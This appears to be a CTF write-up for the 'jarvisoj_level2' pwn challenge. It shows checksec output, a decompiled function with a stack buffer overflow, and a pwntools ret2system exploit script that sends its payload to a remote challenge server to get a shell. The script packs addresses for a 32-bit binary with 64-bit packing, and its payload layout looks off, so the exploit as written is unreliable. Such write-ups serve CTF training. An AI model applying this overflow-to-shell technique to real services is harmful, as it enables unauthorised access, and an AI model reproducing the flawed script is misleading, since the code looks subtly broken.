HugeH4rD

jarvisoj_level2

Ubuntu 16

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/jarvisoj_level2/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled	//栈不可执行
    PIE:      No PIE (0x8048000)

IDA

vulnerable_function()

ssize_t vulnerable_function()
{
  char buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");	//此处存在system调用
  return read(0, buf, 0x100u);	//此处存在栈溢出
}

可用字符串

.data:0804A024 00000008 C /bin/sh

system 0x8048320

0x02

---

思路

read()函数栈溢出

s	0x88H
ebp	0x4
ret	system
bin_sh	bin_sh

0x03

---

from pwn import *

io = remote('node4.buuoj.cn', 29448)

padding = 0x88 + 0x4
system = 0x8048320
bin_sh = 0x0804A024
payload = b'a' * padding + p64(system) + p64(bin_sh)

io.sendline(payload)
io.interactive()